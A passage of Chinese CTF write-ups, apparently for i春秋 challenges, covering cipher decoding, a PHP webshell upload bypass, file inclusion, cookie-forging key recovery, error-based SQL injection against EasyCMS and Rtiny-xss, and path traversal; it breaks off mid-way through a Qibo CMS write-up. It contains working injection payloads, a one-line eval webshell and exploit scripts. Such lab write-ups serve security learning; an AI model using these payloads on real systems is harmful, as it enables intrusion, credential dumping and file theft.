然后登錄,捐獻照片為底色為黑色的網絡照片http://pic4.bbzhi.com/jingxuanbizhi/heisediannaozhuomianbizhixiazai/heisediannaozhuomianbizhixiazai_362061_5.jpg

然后go一下就看到flag了

 

最終flag:

 flag{13460551-92a3-ed4f-844d-86f8f12ca99c}



題目名稱:破譯
題目wirtup:
通過ctfcrackT00LS對其字符進行凱撒解密
解密得到:
BE5650G - 0BA CH50A A0D THE CH50ESE 9505ST4O 1F EDUCAT510 A001U0CED 910DAO A0 ENTE0S510 1F THE54 EN5ST50G 2A4T0E4SH52 T1 50C14214ATE F5T0ESS A0D BAS7ETBA88 DEVE8129E0T 50 E8E9E0TA4O, 95DD8E A0D H5GH SCH118S AC41SS CH50A.THE A001U0CE9E0T MAS 9ADE AT A S5G050G CE4E910O T1DAO BO 0BA CH50A CE1 DAV5D SH1E9A7E4 A0D NU TA1, D54ECT14 GE0E4A8 1F THE 50TE40AT510A8 C112E4AT510 A0D ENCHA0GE DE2A4T9E0T 1F THE 9505ST4O 1F EDUCAT510.
"ME A4E ENC5TED T1 B41ADE0 1U4 2A4T0E4SH52 M5TH THE 9505ST4O 1F EDUCAT510 T1 9A7E A 810G-8AST50G 592ACT 10 THE 85VES 1F CH50ESE STUDE0TS TH41UGH A 6150T8O-DES5G0ED BAS7ETBA88 CU445CU8U9 A0D A M5DE 4A0GE 1F SCH118 BAS7ETBA88 241G4A9S," SA5D SH1E9A7E4. "TH5S C1995T9E0T 9A47S A01THE4 958EST10E 50 THE 0BA'S O1UTH A0D BAS7ETBA88 DEVE8129E0T EFF14TS 50 CH50A." F8AG { GS182D9HCT9ABC5D}
其中包含了關鍵信息:
F8AG { GS182D9HCT9ABC5D}
F8AG看起來不像是flag的標識開頭,這里是l被替換成8

再根據前面的字符串猜測得到:
1替換O 2替換P 5替換I 8替換L 9替換M

替換掉數字后刪去空格,得到:
FLAG{GSOLPDMHCTMABCID}

或者腳本

import requests
import string
s="\"EW S4W WFU5LWV L1 T41SVW0 1M4 2S4L0W4KZ52 E5LZ LZW 9505KL4G 1X WVMUSL510 L1 9S7W S 810Y-8SKL50Y 592SUL 10 LZW 85NWK 1X UZ50WKW KLMVW0LK LZ41MYZ S 6150L8G-VWK5Y0WV TSK7WLTS88 UM445UM8M9 S0V S E5VW 4S0YW 1X KUZ118 TSK7WLTS88 241Y4S9K,\" KS5V KZ1W9S7W4. \"LZ5K U1995L9W0L 9S47K S01LZW4 958WKL10W 50 LZW 0TS'K G1MLZ S0V TSK7WLTS88 VWNW8129W0L WXX14LK 50 UZ50S.\" X8SY { YK182V9ZUL9STU5V}"
i=18
temp=""
for j in s:
if ord(j)<=ord('M') and ord(j)>=ord('A'):
if(ord(j)+i)>=ord('A') and (ord(j)+i)<=ord('Z'):
temp+=chr(ord(j)+i)
else:
temp+=j
elif ord(j)>=ord('N') and ord(j)<=ord('Z'):
if (ord(j) - i) >= ord('A') and (ord(j) - i) <= ord('Z'):
temp += chr(ord(j) - i)
else:
temp += j
else:
temp+=j
#print temp
f=temp
c=""
for t in f:
if t=='4':
c+='R'
elif t=='5':
c+="I"
elif t == 'L':
c += "T"
elif t=='0':
c+="N"
elif t=='K':
c+="S"
elif t=='7':
c+="K"
elif t=='8':
c+="L"
elif t=='M':
c+="U"
elif t=='1':
c+="O"
elif t=='9':
c+="M"
elif t=='2':
c+="P"
else:
c+=t
print c
    
    
    
            
得到:FLAG { GSOLPDMHCTMABCID}
根據flag格式,不能有空格,最終flag:
FLAG{GSOLPDMHCTMABCID}





http://217046e1bac4484fa0f719b85c8b49b8aba97d6e26ba4c5b.changame.ichunqiu.com/u/test.txt

上傳成功后訪問上傳的文件,發現直接輸出了:eval($_POST['a']) ?>

http://217046e1bac4484fa0f719b85c8b49b8aba97d6e26ba4c5b.changame.ichunqiu.com/u/test.php
由此判斷后台代碼過濾了<?和php關鍵字

這里通過<script >腳本的一句戶后門繞過:

<script language="pHp">@eval($_POST['sb'])</script>

最終flag:
flag{d09c7fbb-b68c-4229-83bb-68c4864450c1}


題目名稱:Code
題目writeup:
打開url地址http://4c761be0a54f491c86c03f3ff1555b6d8645cd8e72d144ac.game.ichunqiu.com/index.php?jpg=hei.jpg,發現是一張圖片
查看網頁源碼,發現圖片經過了base64編碼,將其解碼,解密發現是亂碼,無果
index.php?jpg=中的jpg參數猜測存在任意文件包含漏洞,這里包含index.php源碼讀出來,並查看源代碼是base64
http://2205aa80f72c42aa847d1bfa98b020901d84e5af62544db9.changame.ichunqiu.com/index.php?jpg=index.php

得到的bae64:
PD9waHANCi8qKg0KICogQ3JlYXRlZCBieSBQaHBTdG9ybS4NCiAqIERhdGU6IDIwMTUvMTEvMTYNCiAqIFRpbWU6IDE6MzENCiAqLw0KaGVhZGVyKCdjb250ZW50LXR5cGU6dGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgnKTsNCmlmKCEgaXNzZXQoJF9HRVRbJ2pwZyddKSkNCiAgICBoZWFkZXIoJ1JlZnJlc2g6MDt1cmw9Li9pbmRleC5waHA/anBnPWhlaS5qcGcnKTsNCiRmaWxlID0gJF9HRVRbJ2pwZyddOw0KZWNobyAnPHRpdGxlPmZpbGU6Jy4kZmlsZS4nPC90aXRsZT4nOw0KJGZpbGUgPSBwcmVnX3JlcGxhY2UoIi9bXmEtekEtWjAtOS5dKy8iLCIiLCAkZmlsZSk7DQokZmlsZSA9IHN0cl9yZXBsYWNlKCJjb25maWciLCJfIiwgJGZpbGUpOw0KJHR4dCA9IGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKTsNCg0KZWNobyAiPGltZyBzcmM9J2RhdGE6aW1hZ2UvZ2lmO2Jhc2U2NCwiLiR0eHQuIic+PC9pbWc+IjsNCg0KLyoNCiAqIENhbiB5b3UgZmluZCB0aGUgZmxhZyBmaWxlPw0KICoNCiAqLw0KDQo/Pg==
對其進行解密base64,得到:
<?php
/**
 * Created by PhpStorm.
 * Date: 2015/11/16
 * Time: 1:31
 */
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=hei.jpg');
$file = $_GET['jpg'];
echo '<title>file:'.$file.'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("config","_", $file);
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";

/*
 * Can you find the flag file?
 *
 */

?>

發現了Created by PhpStorm,phpstorm是php代碼的集成開發環境,下載phpstorm,並新建一個項目,會發現在項目文件夾里面會生成一個.idea文件,它存儲了項目的配置文件,

打開.idea文件可以發現misc.xml,modules.xml,workspace.xml文件。

由於剛才解碼得到的php代碼是在phpstorm中創建的,因此該項目文件一定會生成一個.idea文件。

訪問地址:

http://2205aa80f72c42aa847d1bfa98b020901d84e5af62544db9.changame.ichunqiu.com/.idea/workspace.xml


打開發現xml文件中IDE生成有三個文件:x.php和config.php以及fl3g_ichuqiu.php

說明該項目生成了x.php,config.php,fl3g_ichuqiu.php文件.
分別訪問 x.php,config.php,fl3g_ichuqiu.php文件
其中x.php文件顯示404頁面不存在
config.php文件顯示空白
http://2205aa80f72c42aa847d1bfa98b020901d84e5af62544db9.changame.ichunqiu.com/config.php

fl3g_ichuqiu.php顯示一段符號

http://2205aa80f72c42aa847d1bfa98b020901d84e5af62544db9.changame.ichunqiu.com/fl3g_ichuqiu.php

那么flag很有可能在fl3g_ichuqiu.php中,這里通過index.php?jpg= fl3g_ichuqiu.php文件包含讀取源碼
查看源碼:
顯示:<title>file:xfl3g_ichuqiu.php</title><img src='data:image/gif;base64,'></img>
顯然,base64編碼內容被過濾了。
我們自己改寫一下index.php的代碼,在本地環境中運行一下:
<?php
$file = 'fl3g_ichuqiu.php';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("config","_", $file);
echo $file;
輸出結果為:fl3gichuqiu.php
根據上面的正則替換:preg_replace,只要不是字母數字和.,就會被替換為空,因此_被替換成""了,但是我們有辦法解決,
利用index.php的substr函數即可,我們可以將fl3g_ichuqiu.php改寫為fl3gconfigichuqiu.php,讓后台腳本幫助我們替換。

現在包含fl3gconfigichuqiu.php讀取fl3g_ichuqiu.php的源碼

http://2205aa80f72c42aa847d1bfa98b020901d84e5af62544db9.changame.ichunqiu.com/index.php?jpg=fl3gconfigichuqiu.php



查看源碼,顯示了base64編碼的結果。

得到的base64編碼:
PD9waHANCi8qKg0KICogQ3JlYXRlZCBieSBQaHBTdG9ybS4NCiAqIERhdGU6IDIwMTUvMTEvMTYNCiAqIFRpbWU6IDE6MzENCiAqLw0KZXJyb3JfcmVwb3J0aW5nKEVfQUxMIHx8IH5FX05PVElDRSk7DQppbmNsdWRlKCdjb25maWcucGhwJyk7DQpmdW5jdGlvbiByYW5kb20oJGxlbmd0aCwgJGNoYXJzID0gJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaMDEyMzQ1Njc4OWFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6Jykgew0KICAgICRoYXNoID0gJyc7DQogICAgJG1heCA9IHN0cmxlbigkY2hhcnMpIC0gMTsNCiAgICBmb3IoJGkgPSAwOyAkaSA8ICRsZW5ndGg7ICRpKyspCXsNCiAgICAgICAgJGhhc2ggLj0gJGNoYXJzW210X3JhbmQoMCwgJG1heCldOw0KICAgIH0NCiAgICByZXR1cm4gJGhhc2g7DQp9DQoNCmZ1bmN0aW9uIGVuY3J5cHQoJHR4dCwka2V5KXsNCiAgICBmb3IoJGk9MDskaTxzdHJsZW4oJHR4dCk7JGkrKyl7DQogICAgICAgICR0bXAgLj0gY2hyKG9yZCgkdHh0WyRpXSkrMTApOw0KICAgIH0NCiAgICAkdHh0ID0gJHRtcDsNCiAgICAkcm5kPXJhbmRvbSg0KTsNCiAgICAka2V5PW1kNSgkcm5kLiRrZXkpOw0KICAgICRzPTA7DQogICAgZm9yKCRpPTA7JGk8c3RybGVuKCR0eHQpOyRpKyspew0KICAgICAgICBpZigkcyA9PSAzMikgJHMgPSAwOw0KICAgICAgICAkdHRtcCAuPSAkdHh0WyRpXSBeICRrZXlbKyskc107DQogICAgfQ0KICAgIHJldHVybiBiYXNlNjRfZW5jb2RlKCRybmQuJHR0bXApOw0KfQ0KZnVuY3Rpb24gZGVjcnlwdCgkdHh0LCRrZXkpew0KICAgICR0eHQ9YmFzZTY0X2RlY29kZSgkdHh0KTsNCiAgICAkcm5kID0gc3Vic3RyKCR0eHQsMCw0KTsNCiAgICAkdHh0ID0gc3Vic3RyKCR0eHQsNCk7DQogICAgJGtleT1tZDUoJHJuZC4ka2V5KTsNCg0KICAgICRzPTA7DQogICAgZm9yKCRpPTA7JGk8c3RybGVuKCR0eHQpOyRpKyspew0KICAgICAgICBpZigkcyA9PSAzMikgJHMgPSAwOw0KICAgICAgICAkdG1wIC49ICR0eHRbJGldXiRrZXlbKyskc107DQogICAgfQ0KICAgIGZvcigkaT0wOyRpPHN0cmxlbigkdG1wKTskaSsrKXsNCiAgICAgICAgJHRtcDEgLj0gY2hyKG9yZCgkdG1wWyRpXSktMTApOw0KICAgIH0NCiAgICByZXR1cm4gJHRtcDE7DQp9DQokdXNlcm5hbWUgPSBkZWNyeXB0KCRfQ09PS0lFWyd1c2VyJ10sJGtleSk7DQppZiAoJHVzZXJuYW1lID09ICdzeXN0ZW0nKXsNCiAgICBlY2hvICRmbGFnOw0KfWVsc2V7DQogICAgc2V0Y29va2llKCd1c2VyJyxlbmNyeXB0KCdndWVzdCcsJGtleSkpOw0KICAgIGVjaG8gIuKVrijila/ilr3ilbAp4pWtIjsNCn0NCj8+

將其進行解碼得到一段php代碼,是關於http cookie的加密與解密:

<?php

/**

 * Created by PhpStorm.

 * Date: 2015/11/16

 * Time: 1:31

 */

error_reporting(E_ALL || ~E_NOTICE);

include('config.php');

//獲取length位數的隨機字符串

function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz')

{

    $hash = '';

    $max = strlen($chars) - 1;

    for($i = 0; $i < $length; $i++) {

        $hash .= $chars[mt_rand(0, $max)];

    }

    return $hash;

}


//加密過程,txt是明文,key是秘鑰

function encrypt($txt,$key)

{

    for($i=0;$i<strlen($txt);$i++){


        $tmp .= chr(ord($txt[$i])+10);

    }//txt內容的ascii碼增加10

    $txt = $tmp;

    $rnd=random(4); //取4位隨機字符

    $key=md5($rnd.$key);//隨機字符與秘鑰進行拼接得到新的秘鑰

    $s=0;

    for($i=0;$i<strlen($txt);$i++){

        if($s == 32) $s = 0;

        $ttmp .= $txt[$i] ^ $key[++$s]; //將明文與key按位進行異或,key的長度最長為32

    }

    return base64_encode($rnd.$ttmp); //將隨機字符與異或后的結果進行字符串拼接,然后進行base64加密,得到密文

}


//解密過程,txt是密文,key是秘鑰

function decrypt($txt,$key){

    $txt=base64_decode($txt); //將密文進行base64解碼

    $rnd = substr($txt,0,4); //取出解碼后的密文的前四位作為隨機數字符串

    $txt = substr($txt,4); //從第5位開始的內容為真正的密文


    $key=md5($rnd.$key); //隨機字符串與秘鑰進行拼接得到新的秘鑰


    $s=0;

    for($i=0;$i<strlen($txt);$i++){

        if($s == 32) $s = 0;

        $tmp .= $txt[$i]^$key[++$s]; //將密文與秘鑰進行異或得到tmp

    }

    for($i=0;$i<strlen($tmp);$i++){

        $tmp1 .= chr(ord($tmp[$i])-10); //將tmp的ascii碼減10得到明文

    }

    return $tmp1;  //明文

}

$username = decrypt($_COOKIE['user'],$key); //將HTTP Cookie方式傳遞的user變量作為密文,與秘鑰進行解密

if ($username == 'system'){   //如果解密出的結果為system,則顯示flag

    echo $flag;


}else{    //如果解密出的結果不是system,則向客戶端發送一個http cookie,cookie名稱為user變量,cookie的值為guest與秘鑰加密的結果,並顯示一個表情

    setcookie('user',encrypt('guest',$key));

    echo "a??(a?ˉa??a?°)a?-";

}

?>

獲取flag的思路:要獲取flag就要獲取key,使得key與$_COOKIE['user']的解密結果為system。

獲取key的思路:通過瀏覽器向服務器請求“抱歉”表情界面的url,服務器就會向瀏覽器返回一個固定的cookie值,

即:encrypt('guest',$key),則cookie值就是明文“guest”與key(5位)加密的結果(即guest與key異或得到cookie,那么guest與cookie異或可以得到key)。

得到5位的key后,可以爆破第六位的key,只要用得到的5位key連接上構造的第六位key,與“system”進行加密得到的user變量的cookie值去請求相應的url,

通過服務器反饋的內容含有“flag”關鍵字符,則說明構造的第六位key值正確,從而可以得到六位的key以及flag的內容。

加密和解密的原理其實不難,需要與得到user的cookie計算解密 得到的key,然后利用這個key對system加密,從而得到system的cookie,偽造cookie得到flag.

根據代碼原理,利用python腳本進行keys秘鑰的爆破:

# _*_ coding: utf-8 _*

import requests

import string

from base64 import *


#返回“抱歉”表情的url

url="http://2205aa80f72c42aa847d1bfa98b020901d84e5af62544db9.changame.ichunqiu.com/fl3g_ichuqiu.php"

#請求該url,獲取服務器返回的user變量的cookie值,即encrypt('guest',$key)

cookie=requests.get(url).cookies['user']

#將密文cookie進行base64解碼

txt=b64decode(cookie)

rnd=txt[:4] #密文的前4位字符為隨機字符

ttmp=txt[4:]#ttmp為'guest'與key進行異或的密文值,ttmp與'guest'的位數一樣,為5位

keys=list('xxxxxx') #六位key的初始字符串

guest=list('guest')#guest明文內容

system=list('system')

for i in range(len(guest)):

guest[i]=chr(ord(guest[i])+10)#guest明文的ascii碼加10,為guest加密做准備(encrypt('guest',$key))

for i in range(len(guest)):

keys[i]=chr(ord(ttmp[i])^ord(guest[i]))#ttmp為'guest'與key進行異或的密文值,則ttmp與guest異或為keys

for i in range(len(system)):

system[i]=chr(ord(system[i])+10)#system的ascii碼加10,為system加密做准備

letters='ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz'#第六位key的爆破字符

ttmp_new='' #system與keys的異或值

cookie_system=[]

str=''

for ch in letters:

keys[5]=ch

for i in range(len(system)):

ttmp_new +=chr(ord(system[i])^ord(keys[i]))

str=rnd+ttmp_new #隨機字符與異或結果進行拼接

cookie_system.append(b64encode(str)) #將拼接結果進行base64加密,得到flag界面的cookie值,並將其填充到字典cookie_system中

ttmp_new=''#爆破一次,就將ttmp_new初始化一次

#

# print cookie_system #輸出所有可能的key爆破得到的cookie值

for i in cookie_system:

cookies={'user':i} #cookie變量為user,值為i

res=requests.get(url,cookies=cookies) #用所有的cookie值去嘗試訪問服務器,得到的反饋為res

if 'flag' in res.content:#如果反饋的內容含有‘flag’關鍵字,則說明請求的cookie正確,即keys爆破成功

#print cookie_system[i] #輸出正確的cookie值

print res.content #輸出服務器反饋的內容,即flag


最終得到flag:
flag{a543619a-eb42-489c-b6cd-700f9cbe4cb0}

題目名稱:YeserCMS

題目內容:

新的CMS系統,幫忙測測是否有漏洞。tips:flag在網站根目錄下的flag.php中

題目writeup:

打開鏈接發現其實是easycms,百度可以查到許多通用漏洞

http://f6434ae33e264d1786933d22e0f05e4caae7c61df2d24aa1.changame.ichunqiu.com/


這里我利用的是無限報錯注入(https://www.cnblogs.com/yangxiaodi/p/6963624.html)
訪問/celive/live/header.php,直接進行報錯注入
查詢數據庫
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(database())) ),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
查詢表名
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database()),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
這里出現了一個尷尬的問題,顯示的長度不夠了,通過調整1,32的來調整可顯示部分表出來
得到部分表名:yesercms_a_attachment和yesercms_
因為group_concat只取數據的32位,所以我們用python腳本跑一下,得到完整的數據庫表:
import requests

url = 'http://f6434ae33e264d1786933d22e0f05e4caae7c61df2d24aa1.changame.ichunqiu.com/celive/live/header.php'

for i in range(1, 999, 31):
postdata = {

'xajax': 'Postdata',

'xajaxargs[0]': "<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database()),%s,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>" % str(
i)

}

r = requests.post(url, data=postdata)

print r.content[22:53]
得到完整的表:
yesercms_a_attachment,yesercms_a_comment,yesercms_a_rank,yesercms_a_vote,yesercms_activity,yesercms_announcement,yesercms_archive,yesercms_assigns,yesercms_b_arctag,yesercms_b_area,yesercms_b_category,yesercms_b_special,yesercms_b_tag,yesercms_ballot,yesercms_bbs_archive,yesercms_bbs_category,yesercms_bbs_label,yeercms_bbs_reply,yesercms_chat,yesercms_departments,yesercms_detail,yesercms_event,yesercms_friendlink,yesercms_guestbook,yesercms_linkword,yesercms_my_a,yesercms_my_yingpin,yesercms_operators,yesercms_option,yesercms_p_orders,yesercms_p_pay,yesercms_p_shipping,yesercms_pay_exchange,yesercms_sessions,yesercms_settings,yesercms_templatetag,yesercms_type,yesercms_union,yesercms_union_pay,yesercms_union_visit,yesercms_user,yesercms_usergroup
查詢字段:
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(column_name) from information_schema.columns where table_name='yesercms_user'),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
得到字段名:userid,username,password,nickna
爆出字段內容:
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx', (UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from yesercms_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
獲得admin的用戶MD5值為:ff512d4240cbbdeafada40467
這里md5的長度也不夠32位,還是需要調整,將起始位1修改為8。
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx', (UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from yesercms_user),8,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
或者
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,substring((SELECT/**/GROUP_CONCAT(username,password) from yesercms_user),10,50),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>

拿到賬號密碼admin|ff512d4240cbbdeafada404677ccbe61,解密后得到明文:Yeser231

登陸成功后,在“管理-模板-當模板編輯”中存在文件讀取漏洞

打開burpsuit,點擊某一個檔案的編輯按鈕然后進行抓包



修改id的值,題目提示說flag在flag.php中,因為不知道在幾級目錄下,依次嘗試 

flag.php

../flag.php

../../flag.php

最后成功得到flag

POST /index.php?case=template&act=fetch&admin_dir=admin&site=defaul

data:

&id=../../flag.php


最終flag:
flag{2d5d0894-8acc-44ce-b48a-280fb3fae9ab}


題目名稱:XSS平台

題目writeup:

啟動題目場景,獲得靶場網站,發現是一個xss平台

輸入用戶名和密碼,通過bupsuit抓包攔截發送請求,並測試sql注入無果

這里將post數據包中的pass這個參數后加入其它字符如[],發送請求,發現在響應頁面報錯,並且顯示為Rtiny python項目,且爆出網站的物理路徑為:
/var/www/html
在github中搜索Rtiny,找到項目地址: https://github.com/r0ker/Rtiny-xss
下載項目源碼到本地,對其python 項目進行審計,發現lock.py文件中的代碼是存在注入的,因為username和password參數都沒有做過濾處理。
Username是來自cookie的加密發送,Tornado的set_secure_cookie()函數發送瀏覽器的cookies,以防范瀏覽器中的惡意修改。
而這個cookie是被加密過的,加密使用的key在index.php文件中。cookie_secret的值為:M0ehO260Qm2dD/MQFYfczYpUbJoyrkp6qYoI2hRw2jc=
所以我們只需要將自己的注入語句,使用相同的s ookie_secret值進行加密即可,並 使用報錯注入構造注入語句,腳本如下:
import tornado.ioloop
import tornado.web 
 
settings = { 
   "cookie_secret" : "M0ehO260Qm2dD/MQFYfczYpUbJoyrkp6qYoI2hRw2jc=",
}

class MainHandler(tornado.web.RequestHandler):
    def get(self):
        self.write("Hello")
        self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,(select version()))) -- ")
        #self.set_secure_cookie("username", "' and extractvalue(1,concat(0x5c,(select group_concat(distinct table_name) from information_schema.tables where table_schema=database())))-- ")
        #self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,(select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name='manager')))-- ")
        #self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,mid((select group_concat(username,'|',password,'|',email) from manager),30,62))) -- ")
        #self.set_secure_cookie("username", "' and extractvalue(1,concat(0x5c,(select load_file('/var/www/html/f13g_ls_here.txt'))))#")
        #self.set_secure_cookie("username", "' and extractvalue(1,concat(0x5c,mid((select load_file('/var/www/html/f13g_ls_here.txt')),28,60)))#")
        self.write(self.get_secure_cookie("username"))

def make_app():
    return tornado.web.Application([
        (r"/index", MainHandler),
        ], **settings)

if __name__ == "__main__":
    app = make_app()
    app.listen(8080)
    tornado.ioloop.IOLoop.instance().start()
腳本運行之后, 使用火狐瀏覽器訪問 http://192.168.1.8:8080/index,並獲取 Set-Cookie值。
下面為各個 self.set_secure_cookie都執行一次,獲得響應的Set-Cookie值
然后訪問lock路徑,且替換cookie信息(不同報錯SQL注入語句生成的cookie),可獲得不同的信息。
獲得數據庫版本:
self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,(select version()))) -- "):
Set-Cookie: username=2|1:0|10:1628698313|8:username|76:JyBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4NWMsKHNlbGVjdCB2ZXJzaW9uKCkpKSkgLS0g|294ff6fda043eb8041e3ba94fe4677a85c6a5d9e4aeebb3790deccbe7d0e4009; expires=Fri, 10 Sep 2021 16:11:53 GMT; Path=/
數據庫版本為:5.5.50

獲得表名:
self.set_secure_cookie("username", "' and extractvalue(1,concat(0x5c,(select group_concat(distinct table_name) from information_schema.tables where table_schema=database())))-- "):
Set-Cookie: username=2|1:0|10:1628698669|8:username|188:JyBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4NWMsKHNlbGVjdCBncm91cF9jb25jYXQoZGlzdGluY3QgdGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpKSkpLS0g|fcf80f56b27a4c2c80ad3c569594a4823d2a510bfb29dd44262764c06a8589b0; expires=Fri, 10 Sep 2021 16:17:49 GMT; Path=/
得到4個表: host,manager,module,msglog,pro

獲得字段名:
self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,(select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name='manager')))-- ")
Set-Cookie: username=2|1:0|10:1628698796|8:username|224:JyBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4NWMsKHNlbGVjdCBncm91cF9jb25jYXQoZGlzdGluY3QgY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfc2NoZW1hPWRhdGFiYXNlKCkgYW5kIHRhYmxlX25hbWU9J21hbmFnZXInKSkpLS0g|049171c133846ce5524c3287cd499263ae26dc4588dab1b12fdb48467286e322; expires=Fri, 10 Sep 2021 16:19:56 GMT; Path=/
得到3個字段名: username,password,email

獲得字段數據內容:
self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,mid((select group_concat(username,'|',password,'|',email) from manager),30,62))) -- ")
Set-Cookie: username=2|1:0|10:1628698884|8:username|156:JyBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4NWMsbWlkKChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lLCd8JyxwYXNzd29yZCwnfCcsZW1haWwpIGZyb20gbWFuYWdlciksMzAsNjIpKSkgLS0g|d28589cae4f851cc8e55bee6e03ec08e76f96d4f839a1a4a35867e2af78b6c83; expires=Fri, 10 Sep 2021 16:21:24 GMT; Path=/

得到后半部分的MD5值:cfc4337207f|545

self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,mid((select group_concat(username,'|',password,'|',email) from manager),1,30))) -- ")
Set-Cookie: username="2|1:0|10:1628699758|8:username|156:JyBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4NWMsbWlkKChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lLCd8JyxwYXNzd29yZCwnfCcsZW1haWwpIGZyb20gbWFuYWdlciksMSwzMCkpKSAtLSA=|138d344639d775557f79f2fcd8c59e13c4186cd86d56758da3dfd3776bee803a"; expires=Fri, 10 Sep 2021 16:35:58 GMT; Path=/

得到前部分的用戶名和密碼值:ichuqiu|318a61264482e503090fac

用戶名為: ichuqiu ,密碼的前部分md5值:318a61264482e503090fac
那么組合起來的password的MD5值為:318a61264482e503090facfc4337207f|545
MD5解密后為:Myxss623
輸入用戶名ichuqiu密碼Myxss623,登錄到系統
在文件欄目中顯示f13g_ls_here.txt是在該系統中,根據上文的爆出的網站物理路徑,那么 f13g_ls_here.txt路徑為: /var/www/html/f13g_ls_here.txt

既然知道網站物理路徑,那么可以通過load_file讀取 f13g_ls_here.txt內容:
self.set_secure_cookie("username", "' and extractvalue(1,concat(0x5c,(select load_file('/var/www/html/f13g_ls_here.txt'))))#")
Set-Cookie: username="2|1:0|10:1628700614|8:username|120:JyBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4NWMsKHNlbGVjdCBsb2FkX2ZpbGUoJy92YXIvd3d3L2h0bWwvZjEzZ19sc19oZXJlLnR4dCcpKSkpIw==|9e10f83afcbc71c66f93440c17ace8b401bc48fa1bec1b8cf5c77bfd64f794fd"; expires=Fri, 10 Sep 2021 16:50:14 GMT; Path=/
獲取到falg的前部分:
flag{dca268c8-bfc7-4382-aa25-35

self.set_secure_cookie("username", "' and extractvalue(1,concat(0x5c,mid((select load_file('/var/www/html/f13g_ls_here.txt')),28,60)))#")
Set-Cookie: username=2|1:0|10:1628700882|8:username|132:JyBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4NWMsbWlkKChzZWxlY3QgbG9hZF9maWxlKCcvdmFyL3d3dy9odG1sL2YxM2dfbHNfaGVyZS50eHQnKSksMjgsNjApKSkj|5c16fe54b971dc0ac5907abaf734eecbbab60aa790c77c8a5f37a8ef85f3ee4e; expires=Fri, 10 Sep 2021 16:54:42 GMT; Path=/
獲取到falg的后部分:
5-359f21c017bd}
最終flag:
flag{dca268c8-bfc7-4382-aa25- 359f21c017bd}

題目名稱:再見CMS
題目內容:這里還是有一個小腦洞
題目writeup:
啟動題目場景,獲得靶場網站,頁面報錯了網站的物理路徑 /var/www/html/
http://b897152215d34ab597fed97d8b102d6cb3b5df5c35764d22.changame.ichunqiu.com/
通過whatweb在線cms查詢靶機網站的CMS指紋,可以查詢到該系統使用的CMS是奇博CMS
http://whatweb.bugscaner.com/look/

通過御劍目錄掃描工具,發現系統中存在flag.php
通過百度搜索奇博CMS的漏洞,發現歷史漏洞中存在SQL注入,這里可以參考: https://www.2cto.com/article/201501/365742.html
先注冊一個用戶test
記下自己的uid,以便一會更新數據,在個人信息的鏈接地址的UID中可查詢到,這里我的UID值為3。
http://badea0fa60b044d59413aeddf7524d450e8b165442834484.changame.ichunqiu.com/member/homepage.php?uid=3


